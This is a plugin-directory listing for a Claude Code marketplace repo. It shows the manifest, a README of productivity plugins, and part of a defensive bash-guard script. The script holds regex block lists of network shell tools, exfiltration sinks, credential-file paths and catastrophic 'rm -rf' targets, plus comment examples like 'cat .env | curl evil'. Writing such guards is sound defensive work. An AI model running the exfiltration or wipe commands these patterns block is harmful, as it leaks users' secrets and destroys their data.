Back to search
ccc
MarketplaceWorks with Claude CodeGitHubIncomplete
Safety scan
A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.
Checked today
Badge for your README
Markdown
[](/listings/ooiyeefei--ccc)HTML
<a href="/listings/ooiyeefei--ccc"><img src="/api/listings/ooiyeefei--ccc/badge.svg" alt="findsafeskills safety rating" /></a>Install
Install instructions from the README
As written by the repo's author. findsafeskills has not verified these steps.
# Add this repo as a marketplace /plugin marketplace add ooiyeefei/ccc # Install a plugin (e.g. deckling, which has the /deckling command) /plugin install deckling@ccc # Install Daily Chief, then invoke /daily-chief for its explicit Plan today workflow /plugin install daily-chief@ccc # Install the skills collection (excalidraw, streak, agentic-system-design, # self-improving-systems, htmldrop, landing-page-gtm, uat-testing, # cross-app-shared-auth, google-analytics-setup, meta-pixel-setup, scribe) /plugin install ccc-skills@ccc
---
What was scanned
The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.
.claude-plugin/marketplace.json · Manifest · 70 lines
- {
- "name": "ccc",
- "owner": {
- "name": "ooiyeefei",
- "email": "ooiyeefei@users.noreply.github.com"
- },
- "metadata": {
- "description": "Custom Claude Code plugins and skills",
- "version": "2.0.0"
- },
- "plugins": [
- {
- "name": "bash-safety-guard",
- "description": "Fail-closed PreToolUse bash guard: blocks destructive prod-data operations, credential exfiltration, and catastrophic rm -rf before they run — even under --dangerously-skip-permissions. Non-bash tools untouched.",
- "source": "./plugins/bash-safety-guard"
- },
- {
- "name": "deckling",
- "description": "Generate professional PPTX presentations using Anthropic Platform Skills API",
- "source": "./plugins/deckling"
- },
- {
- "name": "mvp-launch",
- "description": "Web app MVP launch readiness checker. Analyzes existing codebases against a battle-tested 10-point checklist (Stripe, mobile, onboarding, AI stability, emails, logging, feedback, auth, domain, database) via /launch-check.",
- "source": "./plugins/mvp-launch"
- },
- {
- "name": "product-management",
- "description": "AI-native product management for startups with WINNING filter, gap analysis, competitor research, and GitHub Issues integration",
- "source": "./plugins/product-management"
- },
- {
- "name": "rethink-surveys",
- "description": "Survey design framework grounded in Caroline Jarrett, Dillman, and Tourangeau methods. Captures real intent (past behavior, not hypotheticals) via multimodal flows (text/voice/AI-interviewer). Includes 3 use-case templates (event organizers, startup founders, gig workers) and commands for design, critique, and app-scaffold generation.",
- "source": "./plugins/rethink-surveys"
- },
- {
- "name": "daily-chief",
- "description": "Daily Chief Plan today workflow with browser device login, a local visual preview, and explicit remote apply.",
- "source": "./plugins/daily-chief"
- },
- {
- "name": "ccc-skills",
- "description": "Collection of skills and commands: Excalidraw diagrams, Streak challenge tracker, agentic system design, self-improving systems, htmldrop HTML sharing, landing page GTM, UAT testing, cross-app shared auth, Google Analytics (GA4) setup, Meta Pixel setup, project showcase catalog",
- "source": "./",
- "strict": false,
- "skills": [
- "./skills/excalidraw",
- "./skills/streak",
- "./skills/agentic-system-design",
- "./skills/self-improving-systems",
- "./skills/htmldrop",
- "./skills/landing-page-gtm",
- "./skills/uat-testing",
- "./skills/cross-app-shared-auth",
- "./skills/google-analytics-setup",
- "./skills/meta-pixel-setup"
- ],
- "commands": [
- "./commands/streak.md",
- "./commands/streak-new.md",
- "./commands/streak-list.md",
- "./commands/streak-switch.md",
- "./commands/streak-stats.md",
- "./commands/streak-insights.md"
- ],
- "version": "2.0.0"
- }
- ]
- }
README.md · README · 432 lines
- # Claude Code Custom Plugins & Skills
- Custom plugins and skills for [Claude Code](https://github.com/anthropics/claude-code).
- ## Available
- | Name | Type | Description | Install Command |
- |------|------|-------------|-----------------|
- | [bash-safety-guard](./plugins/bash-safety-guard) | Plugin (hook) | Fail-closed PreToolUse bash guard: blocks prod-data loss, credential exfiltration, and catastrophic `rm -rf` before they run — even under `--dangerously-skip-permissions` | `/plugin install bash-safety-guard@ccc` |
- | [deckling](./plugins/deckling) | Plugin | Generate PPTX presentations using Anthropic Platform Skills API | `/plugin install deckling@ccc` |
- | [daily-chief](./plugins/daily-chief) | Plugin + Pi package | User-invoked Plan today workflow with browser device login, local preview, and explicit remote apply | `/plugin install daily-chief@ccc` |
- | [mvp-launch](./plugins/mvp-launch) | Plugin | MVP launch readiness checker with `/launch-check` command | `/plugin install mvp-launch@ccc` |
- | [product-management](./plugins/product-management) | Plugin | AI-native PM: competitor research, gap analysis, WINNING prioritization | `/plugin install product-management@ccc` |
- | [rethink-surveys](./plugins/rethink-surveys) | Plugin | Survey design grounded in research methods (Jarrett, Dillman, Tourangeau) with design/critique/app-scaffold commands + bundled MCP server | `/plugin install rethink-surveys@ccc` |
- | [agentic-toolkit](./plugins/agentic-toolkit) | Reference package | Reusable TypeScript infrastructure for multi-model councils, sub-agent hierarchies, and provenance-tracked tool loops | Copy the source — see [README](./plugins/agentic-toolkit/README.md) |
- | [excalidraw](./skills/excalidraw) | Skill | Generate architecture diagrams as `.excalidraw` files with optional PNG/SVG export | `/plugin install ccc-skills@ccc` |
- | [streak](./skills/streak) | **Skill + Commands** | Universal challenge tracker with `/streak`, `/streak-new`, etc. | `/plugin install ccc-skills@ccc` |
- | [agentic-system-design](./skills/agentic-system-design) | Skill | 12-stage Q&A workflow for designing agentic pipelines, councils, and sub-agent hierarchies | `/plugin install ccc-skills@ccc` |
- | [self-improving-systems](./skills/self-improving-systems) | Skill | Decide whether your agent actually needs memory/feedback/learning — then design the smallest thing that pays for itself | `/plugin install ccc-skills@ccc` |
- | [htmldrop](./skills/htmldrop) | Skill | Publish HTML as shareable links (Surge.sh) with collaborative annotation + AI converge | `/plugin install ccc-skills@ccc` |
- | [landing-page-gtm](./skills/landing-page-gtm) | Skill | High-converting SaaS landing pages with GTM-aware copy and competitive positioning | `/plugin install ccc-skills@ccc` |
- | [uat-testing](./skills/uat-testing) | Skill | End-to-end UAT for web apps via Playwright: test case generation, execution, pass/fail reports | `/plugin install ccc-skills@ccc` |
- | [cross-app-shared-auth](./skills/cross-app-shared-auth) | Skill | Onboard apps into a platform with one shared login and a central accounts database: per-app opt-in access, deny-by-default, dual sign-up paths | `/plugin install ccc-skills@ccc` |
- | [google-analytics-setup](./skills/google-analytics-setup) | Skill | Set up GA4 on a website and wire a real conversion (form/signup/purchase) end to end — property/stream structure, tag install, event, Key Event, and DebugView verification before ad spend | `/plugin install ccc-skills@ccc` |
- | [meta-pixel-setup](./skills/meta-pixel-setup) | Skill | Set up the Meta (Facebook/Instagram) Pixel and a conversion event end to end — steers past the Conversions-API push and the sensitive-category trap, with Pixel Helper verification before ad spend | `/plugin install ccc-skills@ccc` |
- | [scribe](./skills/scribe) | Skill | Meeting recordings → notes with a chain of custody: pinned-language transcription across swappable STT backends (ElevenLabs/Deepgram/OpenAI/local), recording-gap detection, and confidence carried through so garbled audio never becomes a confident fact | `/plugin install ccc-skills@ccc` |
- The pitch and video skills (pitch-package, pitch-craft, pitch-deck, demo-video, motion-video) were retired from this collection on 12 November 2026.
- ---
- ## Installation
- ```bash
- # Add this repo as a marketplace
- /plugin marketplace add ooiyeefei/ccc
- # Install a plugin (e.g. deckling, which has the /deckling command)
- /plugin install deckling@ccc
- # Install Daily Chief, then invoke /daily-chief for its explicit Plan today workflow
- /plugin install daily-chief@ccc
- # Install the skills collection (excalidraw, streak, agentic-system-design,
- # self-improving-systems, htmldrop, landing-page-gtm, uat-testing,
- # cross-app-shared-auth, google-analytics-setup, meta-pixel-setup, scribe)
- /plugin install ccc-skills@ccc
- ```
- ---
- # Plugins
- ## Plugin: Deckling
- Generate and refine PowerPoint presentations using Anthropic's Platform Skills API.
- ```bash
- /deckling "Quarterly Review - 3 slides"
- /deckling "Change title to 'Q4 Results'" --refine quarterly.pptx
- ```
- See [plugins/deckling/README.md](./plugins/deckling/README.md) for full documentation.
- ---
- ## Plugin: MVP Launch
- Analyze web app codebases against a battle-tested 10-point MVP launch checklist. Based on "Realistic MVP Launch Checklist (from building 30+ apps)".
- ```bash
- /launch-check
- ```
- **The 10-Point Checklist:**
- 1. Stripe Setup (webhooks, trials, failed payments)
- 2. Mobile-First Design (real device testing)
- 3. Smooth Onboarding (minimal steps, fast first win)
- 4. AI & Automation Stability (retries, error handling)
- 5. Critical Emails (welcome, trial-ending, failed payment)
- 6. Error Logging (catch bugs before users)
- 7. User Feedback Loop (simple form or tool)
- 8. Auth & Roles (secure pages, basic roles)
- 9. Custom Domain with SSL (no dev URLs)
- 10. Real Database & Backups (automated backups)
- **Philosophy:** "Don't overbuild. Just make it stable, usable, and something people can trust."
- See [plugins/mvp-launch/README.md](./plugins/mvp-launch/README.md) for full documentation.
- ---
- ## Plugin: Product Management
- AI-native product management for startups. Process signals, not features.
- **After installing, just ask Claude Code:**
- ```
- "Analyze my product"
- "Research competitors"
- "Find feature gaps we should build"
- "What should we build next?"
- ```
- ### Key Commands
- ```bash
- /pm analyze # Deep product understanding
- /pm landscape # Market overview + competitors
- /pm gaps # Batch gap analysis with WINNING scores
- /pm file # Create GitHub Issues for top priorities
- /pm roadmap # Organize into Now/Next/Later
- ```
- ### WINNING Filter
- Prioritize with objective scoring: `WINNING = Pain × Timing × Execution`
- - **40-60**: FILE (high conviction)
- - **25-39**: WAIT (monitor)
- - **0-24**: SKIP (not worth it)
- ### spec-kit Integration
- This skill handles **WHAT to build** (product discovery). For **HOW to build**, use [spec-kit](https://github.com/github/spec-kit):
- ```
- /pm file → GitHub Issue → /speckit.specify → /speckit.plan → /speckit.implement
- ```
- The GitHub Issue IS the handoff—no extra command needed.
- See [plugins/product-management/README.md](./plugins/product-management/README.md) for full documentation.
- ---
- ## Plugin: Rethink Surveys
- Survey design framework grounded in proven research methods — Caroline Jarrett's *Surveys That Work*, Dillman's Tailored Design, and Tourangeau's cognitive model. Captures what people are actually trying to do (past behavior, not hypotheticals) without leading questions, satisficing bait, or shallow Likert noise.
- ```bash
- /design-survey # Interactive design session for a new survey
- /critique-survey # Jarrett-style critique of an existing survey
- /turn-into-app # Turn a finalized design into a working app scaffold
- ```
- **Features:**
- - 4-part hybrid structure: discovery / diagnostic / intent / segmentation
- - Question library with behavioral anchors
- - Three battle-tested templates: event organizers, startup founders, gig-economy workers
- - Text, voice, and AI-interviewer modalities
- - Bundles the `rethink-survey` MCP server for designing, critiquing, scoring, and clustering survey responses
- See [plugins/rethink-surveys](./plugins/rethink-surveys) for full documentation.
- ---
- ## Plugin: Agentic Toolkit (Reference Package)
- Reusable TypeScript infrastructure for building agentic systems with multi-model councils, hierarchical sub-agents, and provenance-tracked tool loops. Lifted from production code and hardened with depth caps and required provenance.
- This is a **reference package to copy from**, not an installable command plugin — the point is to save a week of plumbing per new agentic project.
- **The five components:**
- 1. **Gateway adapter** — one provider seam for Claude / GPT / Gemini behind a unified endpoint (TokenRouter, OpenRouter, LiteLLM, Vercel AI Gateway)
- 2. **Models registry** — typed role → `{ model, knobs }` bindings, with per-model quirks in one place
- 3. **Sub-agent runner** — depth cap, per-parent spawn cap, wall-clock timeout, typed results
- 4. **Events** — typed `AgentSseEvent` union for streaming agent progress
- 5. **Provenance** — required `_source` tagging so cached vs. live generations are never ambiguous
- Pairs well with the [agentic-system-design](./skills/agentic-system-design) skill: design the system with the skill, build it with the toolkit.
- See [plugins/agentic-toolkit/README.md](./plugins/agentic-toolkit/README.md) for full documentation.
- ---
- # Skills
- ## Skill: Scribe
- Turn meeting recordings into notes where every number and name traces back to audio the model actually heard clearly.
- **After installing ccc-skills, just ask Claude Code:**
- ```
- "Summarize the recordings in ~/meetings/2026-08-04/"
- "Transcribe this call and give me notes"
- "This auto-generated summary looks off - check it against the audio"
- ```
- **Why it exists:** a summariser cannot hear. Hand it a garbled span and it launders
- the noise into a clean fact - "some paying customer" decoded as "it's up to 8,000
- glass" becomes "~8,000 users" in the summary, and nothing downstream can tell that
- from a real figure.
- **What it does differently:**
- - Pins the language before transcribing, so code-switched speech (Manglish,
- Singlish, Hinglish) doesn't decode into fluent *wrong-language* text
- - Detects recording gaps - a recorder stopped mid-meeting drops content silently,
- and the notes that follow read as complete
- - Flags numbers and proper nouns sitting on low-confidence audio, using a
- percentile bar relative to each recording rather than a fixed cutoff
- - Carries that uncertainty into the notes instead of letting it get tidied away
- **Swappable backends, bring your own key:** ElevenLabs (default), Deepgram, any
- OpenAI-compatible gateway (Groq, LiteLLM, OpenRouter), or fully local via
- faster-whisper with nothing uploaded. No credentials are bundled.
- See [skills/scribe/README.md](./skills/scribe/README.md) for the quick start and a worked example.
- See [skills/scribe/SKILL.md](./skills/scribe/SKILL.md) for the workflow.
- ---
- ## Skill: Excalidraw Generator
- Generate architecture diagrams from any codebase as `.excalidraw` files, with optional PNG and SVG export.
- **After installing ccc-skills, just ask Claude Code:**
- ```
- "Generate an architecture diagram for this project"
- "Create an excalidraw diagram of the system"
- "Visualize this codebase as an excalidraw file"
- "Export this diagram to PNG"
- ```
- **Features:**
- - Analyzes any codebase (Node.js, Python, Java, Go, etc.)
- - No prerequisites - works without existing diagrams or Terraform
- - Proper 90-degree elbow arrows (not curved)
- - Color-coded components by type (database, API, storage, etc.)
- - Dynamic IDs and labels based on discovered components
- - PNG/SVG export via Playwright and `@excalidraw/utils` (no manual upload needed)
- See [skills/excalidraw/README.md](./skills/excalidraw/README.md) for quick start guide.
- See [skills/excalidraw/SKILL.md](./skills/excalidraw/SKILL.md) for full documentation.
- ---
- ## Skill: Streak - Challenge Tracker
- Universal challenge tracker with flexible cadence, intelligent insights, and cross-challenge learning detection.
- ### Slash Commands (Recommended)
- After installing ccc-skills, use these commands for **reliable, deterministic** triggering:
- ```bash
- /streak # Check in to active challenge
- /streak-new # Create a new challenge (guided)
- /streak-list # List all challenges
- /streak-switch NAME # Switch active challenge
- /streak-stats # View progress and achievements
- /streak-insights # Cross-challenge insights
- ```
- ### Natural Language (Alternative)
- You can also ask Claude Code naturally - it will invoke the skill when relevant:
- ```
- "Check in to my challenge"
- "Start a new streak"
- "Show my stats"
- ```
- ### Features
- - **Universal**: Works for any challenge type (learning, habits, building, fitness, creative, custom)
- - **Flexible Cadence**: Daily, weekly, or custom N-day intervals per challenge
- - **AI-Powered Insights**: Auto-detects compound learning and semantic connections
- - **Achievements**: Streak badges and milestone rewards
- - **Calendar Export**: Optional .ics file for calendar reminders
- - **Zero Config**: Works locally with no external dependencies
- ### Example Challenges
- - 30 Days of Coding
- - Read 12 Books This Year
- - Morning Meditation Habit
- - Daily Sketching Practice
- See [skills/streak/README.md](./skills/streak/README.md) for quick start guide.
- See [skills/streak/SKILL.md](./skills/streak/SKILL.md) for full documentation.
- ---
- ## Skill: Agentic System Design
- Prescriptive design partner for any agentic system: tool-loop agents, multi-model councils, sub-agent hierarchies, plan-execute pipelines, handoff networks. Walks you through a 12-stage Q&A flow — one question at a time — and emits a buildable design doc with citations.
- **After installing ccc-skills, just ask Claude Code:**
- ```
- "Design an agent that does HAZOP analysis"
- "Should I use a multi-model council for finance review?"
- "I want to build an AI brand strategist — orchestrator-worker or handoff?"
- "Real agency or workflow?"
- ```
- **Opinionated by design:** most "agent" requests are workflows; most "council" requests are wasteful; most depth-3 hierarchies are depth-2 with a tool that needed renaming. The skill filters ruthlessly *before* you start building — via an agent-washing rubric, council-decision test, and depth-3 sanity check.
- See [skills/agentic-system-design/README.md](./skills/agentic-system-design/README.md) for quick start guide.
- See [skills/agentic-system-design/SKILL.md](./skills/agentic-system-design/SKILL.md) for full documentation.
- ---
- ## Skill: Self-Improving Systems
- Decide whether your agent actually needs persistent memory, feedback loops, or closed-loop learning — then design the smallest thing that pays for itself.
- **After installing ccc-skills, just ask Claude Code:**
- ```
- "Add memory to my agent"
- "Make my marketing agent learn from past campaigns"
- "Should I use mem0 or Letta?"
- "Why does my agent keep making the same mistake?"
- ```
- **Headline message:** most agents shouldn't have persistent memory. Memory is a liability surface (drift, poisoning, debugging difficulty, GDPR/HIPAA exposure). The skill's first two stages exist to stop over-engineering — most users discover they want a state cache (or stateless RAG), not memory + learning. Default position: scratchpad-only with a stateless agent shipped first.
- See [skills/self-improving-systems/README.md](./skills/self-improving-systems/README.md) for quick start guide.
- See [skills/self-improving-systems/SKILL.md](./skills/self-improving-systems/SKILL.md) for full documentation.
- ---
- ## Skill: htmldrop
- Publish any HTML file as a shareable link instantly, with optional collaborative review. Wraps the [`htmldrop` CLI](https://www.npmjs.com/package/@yeefeiooi/htmldrop) — you just describe what you want in natural language.
- **Two modes:**
- 1. **Simple share** — public or password-protected link via free Surge.sh hosting
- 2. **Collaborative feedback + converge** — publish with an embedded annotation widget so reviewers highlight text and comment (no account needed), then pull the feedback and synthesize an improved version with AI
- **After installing ccc-skills, just ask Claude Code:**
- ```
- "Share this HTML report"
- "Publish this and let people comment on it"
- "What did reviewers say? Converge the feedback"
- ```
- **Prerequisites:** Node.js >= 18 and `npm install -g @yeefeiooi/htmldrop@latest`.
- See [skills/htmldrop/README.md](./skills/htmldrop/README.md) for quick start guide.
- See [skills/htmldrop/SKILL.md](./skills/htmldrop/SKILL.md) for full documentation.
- ---
- ## Skill: Landing Page GTM
- Build conversion-focused SaaS landing pages that sell — not just describe. Combines product research, competitive positioning, sales copywriting, and frontend implementation into a single workflow.
- **After installing ccc-skills, just ask Claude Code:**
- ```
- "Build a landing page for this product"
- "Rewrite the feature cards as sales copy"
- "Update the pricing page with competitive positioning"
- ```
- **Workflow:** researches the actual product first (never invents features), studies competitors, then writes GTM-aware copy and implements it in your existing design system.
- See [skills/landing-page-gtm/README.md](./skills/landing-page-gtm/README.md) for quick start guide.
- See [skills/landing-page-gtm/SKILL.md](./skills/landing-page-gtm/SKILL.md) for full documentation.
- ---
- ## Skill: UAT Testing
- End-to-end User Acceptance Testing for web applications: analyze → generate test cases → set up environment → execute → report.
- **After installing ccc-skills, just ask Claude Code:**
- ```
- "Run UAT on this branch"
- "Test this feature against the spec"
- "Generate test cases for my changes"
- ```
- **Features:**
- - Analyzes branch diff and specs to generate exhaustive test cases (happy path, errors, persistence, auth, responsive)
- - Sets up local dev server or targets staging/production
- - Executes tests via Playwright browser automation
- - Produces pass/fail results report with screenshots and fix documentation
- See [skills/uat-testing/README.md](./skills/uat-testing/README.md) for quick start guide.
- See [skills/uat-testing/SKILL.md](./skills/uat-testing/SKILL.md) for full documentation.
- ---
- ## Contributing
- We welcome contributions! CCC follows a **hybrid contribution model**:
- | Contribution Type | Process |
- |-------------------|---------|
- | Bug fixes | PRs welcome directly |
- | Documentation | PRs welcome directly |
- | New features | Open issue first for discussion |
- | New skills/plugins | Open issue first for discussion |
- **Quick start:**
- 1. Fork the repo
- 2. Create a branch
- 3. Make changes and test with Claude Code
- 4. Submit a PR
- See [CONTRIBUTING.md](./CONTRIBUTING.md) for detailed guidelines.
- ### Good First Issues
- Look for issues labeled `good first issue` - they're great for getting started!
- ---
- ## Support
- If you find CCC useful, consider supporting its development:
- <a href="https://buymeacoffee.com/afYkK7e"><img src="https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png" alt="Buy Me A Coffee" width="130"></a>
- ---
- ## License
- MIT
- ---
- ## Star History
- <a href="https://www.star-history.com/?repos=ooiyeefei%2Fccc&type=date&legend=top-left">
- <picture>
- <source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/chart?repos=ooiyeefei/ccc&type=date&theme=dark&legend=top-left" />
- <source media="(prefers-color-scheme: light)" srcset="https://api.star-history.com/chart?repos=ooiyeefei/ccc&type=date&legend=top-left" />
- <img alt="Star History Chart" src="https://api.star-history.com/chart?repos=ooiyeefei/ccc&type=date&legend=top-left" />
- </picture>
- </a>
plugins/bash-safety-guard/lib/guards.ts · Bundled script · 292 lines · 2 findings marked
- /**
- * Shared guardrail heuristics.
- *
- * Two hard rules, enforced everywhere:
- * 1. Never accidentally delete / wipe PRODUCTION data. Any attempt must be
- * confirmed by a human first (fail CLOSED when no human is reachable).
- * 2. Never leak credentials off-box (exfiltrate secrets over the network or
- * commit secret files). Same confirm-or-block posture.
- *
- * These are intentionally conservative: false positives cost one confirm click,
- * false negatives can nuke prod or leak a deploy key.
- */
- export type GuardAction = "allow" | "confirm" | "block";
- export interface GuardVerdict {
- action: GuardAction;
- category?: "prod-data-loss" | "credential-leak";
- reason?: string;
- }
- const ALLOW: GuardVerdict = { action: "allow" };
- // --- production data-loss signals -----------------------------------------
- //
- // Design goal (2026-07): flag ONLY genuinely destructive PRODUCTION-data or
- // datastore operations. Everyday VCS churn (`git reset`, `git checkout`,
- // worktree cleanup), local dev, dev-server words like "live", grep/echo/commit
- // messages that merely contain SQL keywords, and read-only inspection commands
- // (`convex data`, `convex run <fn>`) must NOT trip the guard. Every false
- // positive in a sub-agent fails CLOSED (blocks) with no human to override, so
- // over-flagging directly stalls autonomous work.
- // "prod"/"production" only. "live" was dropped — it collides with live-server,
- // livereload, "live" log lines, etc., and caused most of the noise.
- const PROD_HINT = /\b(prod|production)\b/i;
- // A real datastore / cloud-data context. "prod + destructive verb" only counts
- // as prod-data-loss INSIDE one of these, so `git reset --hard`, `git checkout`,
- // worktree ops and shell cleanup no longer trip the rule.
- const DATASTORE_HINT =
- /\b(psql|mysql|mariadb|mongo|mongosh|redis|redis-cli|convex|prisma|drizzle|drizzle-kit|dynamodb|firestore|supabase|postgres|postgresql|pg_dump|pg_restore|pg_ctl|dropdb|createdb|cockroach|sqlcmd|bigquery|s3|s3api|gcs|gsutil|database|datastore)\b/i;
- // An actual SQL client EXECUTING a statement (not the keyword merely appearing
- // in a commit message, `echo`, `grep`, or a heredoc destined for a file).
- const SQL_EXEC =
- /\b(psql|mysql|mariadb|mongosh?|cockroach|sqlite3?|sqlcmd)\b|(^|\s)(-c|--command|-e|--execute|--eval)\s/i;
- /** Destructive SQL statements. */
- const DESTRUCTIVE_SQL =
- /\b(drop\s+(table|database|schema)|truncate\s+(table\s+)?[\w"`.]+|delete\s+from)\b/i;
- // Convex data-loss operations (this repo is Convex-backed). Narrowed so that
- // read-only `convex data <table>` and ordinary `convex run <fn>` / `convex dev`
- // / `convex deploy` no longer flag. We flag only:
- // - `convex import ... --replace` (overwrites table data — destructive in ANY env)
- // - a data-touching subcommand (import/run/env remove) aimed at --prod
- const CONVEX = /\bconvex\b/i;
- const CONVEX_IMPORT_REPLACE = /\bconvex\s+import\b[\s\S]*?--replace(-all)?\b/i;
- const CONVEX_PROD_FLAG = /(--prod\b|--deployment[= ]\S*prod)/i;
- const CONVEX_DATA_SUB = /\bconvex\s+(import|run|env\s+(remove|rm))\b/i;
- /** Other well-known "reset / wipe the database" incantations. */
- const KNOWN_WIPES = [
- /\bprisma\b[\s\S]*?\bmigrate\s+reset\b/i,
- /\bprisma\b[\s\S]*?\bdb\s+push\b[\s\S]*?(--force-reset|--accept-data-loss)/i,
- /\bdrizzle-kit\b[\s\S]*?\b(drop|reset)\b/i,
- /\bredis-cli\b[\s\S]*?\bflush(all|db)\b/i,
- /\bdropdb\b/i,
- /\baws\s+dynamodb\s+(delete-table|delete-item)\b/i,
- /\baws\s+s3(api)?\s+(rb|delete-bucket|delete-object)\b/i,
- /\baws\s+s3\s+rm\b[\s\S]*?--recursive/i,
- ];
- /** Destructive verbs — only dangerous when aimed at a prod datastore. */
- const DESTRUCTIVE_VERB =
- /\b(delete|drop|truncate|wipe|destroy|flush(all|db)?|reset|purge|delete-table|delete-item)\b/i;
- /** `rm -rf` aimed at DB/backup/dump dirs (not ordinary code/build cleanup). */
- const RM_RF_DATA =
- /\brm\s+(-[a-z]*r[a-z]*f|-[a-z]*f[a-z]*r|-rf|-fr)\b[\s\S]*?(backup|dump|\.sql\b|\bdatabase\b|\.convex\b|volume|pg_?data|mysql-?data|mongo-?data)/i;
- /**
- * Catastrophic `rm -rf` targets: root, home, or the current/parent tree wholesale.
- * These are separate from RM_RF_DATA because they're destructive regardless of
- * any datastore — `rm -rf /`, `rm -rf ~`, `rm -rf $HOME`, `rm -rf .` etc. We
- Note: Quoted as data in code: Runs `rm -rf` against a root or home-directory path
- Line 86 on GitHub
- * still let ordinary cleanup through (`rm -rf node_modules dist .next`).
- */
- function hasRecursiveForce(tokens: string[]): boolean {
- let r = false;
- let f = false;
- for (const t of tokens) {
- if (t === "--recursive") r = true;
- else if (t === "--force") f = true;
- else if (/^-[a-zA-Z]+$/.test(t)) {
- if (/[rR]/.test(t)) r = true;
- if (/f/.test(t)) f = true;
- }
- }
- return r && f;
- }
- /** Is a single `rm` target catastrophic (root / home / cwd / parent / bare glob)? */
- function isCatastrophicTarget(target: string): boolean {
- const t = target.replace(/["']/g, "").replace(/\/+$/, "") || "/";
- if (t === "." || t === ".." || t === "~" || t === "*") return true;
- if (/^\$\{?HOME\}?$/.test(t)) return true;
- if (/^~\/?\*?$/.test(target.replace(/["']/g, ""))) return true;
- // root, or a top-level system dir, optionally globbed: / /* /etc /usr/*
- if (
- /^\/(\*)?$/.test(t) ||
- /^\/(bin|boot|dev|etc|home|lib|lib64|opt|proc|root|run|sbin|srv|sys|usr|var)(\/\*?)?$/.test(t)
- )
- return true;
- return false;
- }
- /** Scan every `rm` invocation in a command line for a catastrophic target. */
- function catastrophicRm(cmd: string): boolean {
- const segments = cmd.split(/(?:\|\||&&|[;&|\n])/);
- for (const seg of segments) {
- const tokens = seg.trim().split(/\s+/).filter(Boolean);
- let i = 0;
- while (i < tokens.length && (tokens[i] === "sudo" || tokens[i].includes("="))) i++;
- if (tokens[i] !== "rm") continue;
- const rest = tokens.slice(i + 1);
- if (!hasRecursiveForce(rest)) continue;
- const targets = rest.filter((t) => !t.startsWith("-"));
- // `rm -rf` with no explicit target is also suspicious; treat as catastrophic.
- if (targets.length === 0) return true;
- if (targets.some(isCatastrophicTarget)) return true;
- }
- return false;
- }
- // --- credential-leak signals ----------------------------------------------
- const SECRET_FILE =
- /(\.env(\.[\w.-]+)?\b|\.pem\b|\bid_rsa\b|\.aws\/credentials|\.ssh\/|credentials\.json|service[-_]?account[\w.-]*\.json|\.npmrc\b|\.pgpass\b|secret[s]?\.(json|ya?ml|txt))/i;
- Dismissed after review: Reads a credential file in a script that also sends data over the network
- Line 139 on GitHub
- const SECRET_ENV =
- /\$?\b([A-Z0-9_]*(SECRET|TOKEN|PASSWORD|PASSWD|API[_-]?KEY|PRIVATE[_-]?KEY|ACCESS[_-]?KEY|DEPLOY[_-]?KEY|CLERK[_-]?SECRET|CONVEX[_-]?DEPLOY|AWS[_-]?SECRET)[A-Z0-9_]*)\b/;
- /** Commands that push data off the local machine. */
- const NETWORK_EGRESS =
- /\b(curl|wget|nc\b|ncat|netcat|scp|sftp|ftp|rsync\s+[\s\S]*?@|http\s+post)\b/i;
- /** Paste / tunnel / webhook sinks people use to exfiltrate. */
- const EXFIL_SINK =
- /(transfer\.sh|pastebin|hastebin|ix\.io|0x0\.st|termbin|webhook\.site|requestbin|ngrok|pipedream|\.free\.beeceptor)/i;
- const GIT_ADD_COMMIT = /\bgit\s+(add|commit)\b/i;
- function stripComments(cmd: string): string {
- // keep it simple: collapse whitespace, we still match across the line
- return cmd.replace(/\r/g, " ");
- }
- /** Classify a shell command against both hard rules. */
- export function classifyCommand(rawCommand: string): GuardVerdict {
- const cmd = stripComments(rawCommand);
- if (!cmd.trim()) return ALLOW;
- // --- rule 1: production data loss ---
- if (CONVEX.test(cmd)) {
- if (CONVEX_IMPORT_REPLACE.test(cmd)) {
- return {
- action: "confirm",
- category: "prod-data-loss",
- reason: "`convex import --replace` overwrites existing table data. Confirm the target is not production.",
- };
- }
- if (CONVEX_PROD_FLAG.test(cmd) && CONVEX_DATA_SUB.test(cmd)) {
- return {
- action: "confirm",
- category: "prod-data-loss",
- reason: "Data-touching Convex command (import/run/env remove) aimed at a --prod deployment.",
- };
- }
- // read-only `convex data <table>`, `convex run <fn>`, `convex dev`,
- // `convex deploy` etc. fall through — not flagged.
- }
- for (const re of KNOWN_WIPES) {
- if (re.test(cmd)) {
- return {
- action: "confirm",
- category: "prod-data-loss",
- reason: "Known database wipe/reset command. Confirm the target is NOT a production datastore.",
- };
- }
- }
- if (RM_RF_DATA.test(cmd)) {
- return {
- action: "confirm",
- category: "prod-data-loss",
- reason: "Recursive delete targeting a database/backup/dump path.",
- };
- }
- if (catastrophicRm(cmd)) {
- return {
- action: "confirm",
- category: "prod-data-loss",
- reason: "Catastrophic `rm -rf` target (root, home, current/parent tree, or a system dir).",
- };
- }
- if (DESTRUCTIVE_SQL.test(cmd)) {
- // Only when the statement is actually being EXECUTED by a client, or it
- // clearly targets prod. Bare SQL keywords in a commit message, `echo`,
- // `grep`, or a heredoc written to a file do NOT flag.
- if (SQL_EXEC.test(cmd) || PROD_HINT.test(cmd)) {
- return {
- action: "confirm",
- category: "prod-data-loss",
- reason: "Destructive SQL (DROP/TRUNCATE/DELETE FROM) being executed. Confirm the target datastore.",
- };
- }
- }
- if (PROD_HINT.test(cmd) && DATASTORE_HINT.test(cmd) && DESTRUCTIVE_VERB.test(cmd)) {
- return {
- action: "confirm",
- category: "prod-data-loss",
- reason: "Destructive verb against a production datastore.",
- };
- }
- // --- rule 2: credential leak ---
- // Goal: catch EXFILTRATION of secrets, not ordinary authenticated API calls.
- // `curl -H "Authorization: Bearer $TOKEN" https://api.example.com` is normal
- // and must not flag; `cat .env | curl evil`, `curl -d @.env`, or piping a
- // token to a paste/tunnel sink must.
- const touchesSecretFile = SECRET_FILE.test(cmd);
- const touchesSecretEnv = SECRET_ENV.test(cmd);
- const egress = NETWORK_EGRESS.test(cmd);
- const sink = EXFIL_SINK.test(cmd);
- const piped = /\|/.test(cmd);
- // A whole secret FILE leaving the box is almost never legitimate.
- if (touchesSecretFile && (egress || sink)) {
- return {
- action: "confirm",
- category: "credential-leak",
- reason: "A secret file is being sent over the network. Confirm this does not leak credentials.",
- };
- }
- // A secret env var piped into egress (cat/echo $TOKEN | curl ...) or sent to
- // an exfil sink — not merely used as an auth header on a normal request.
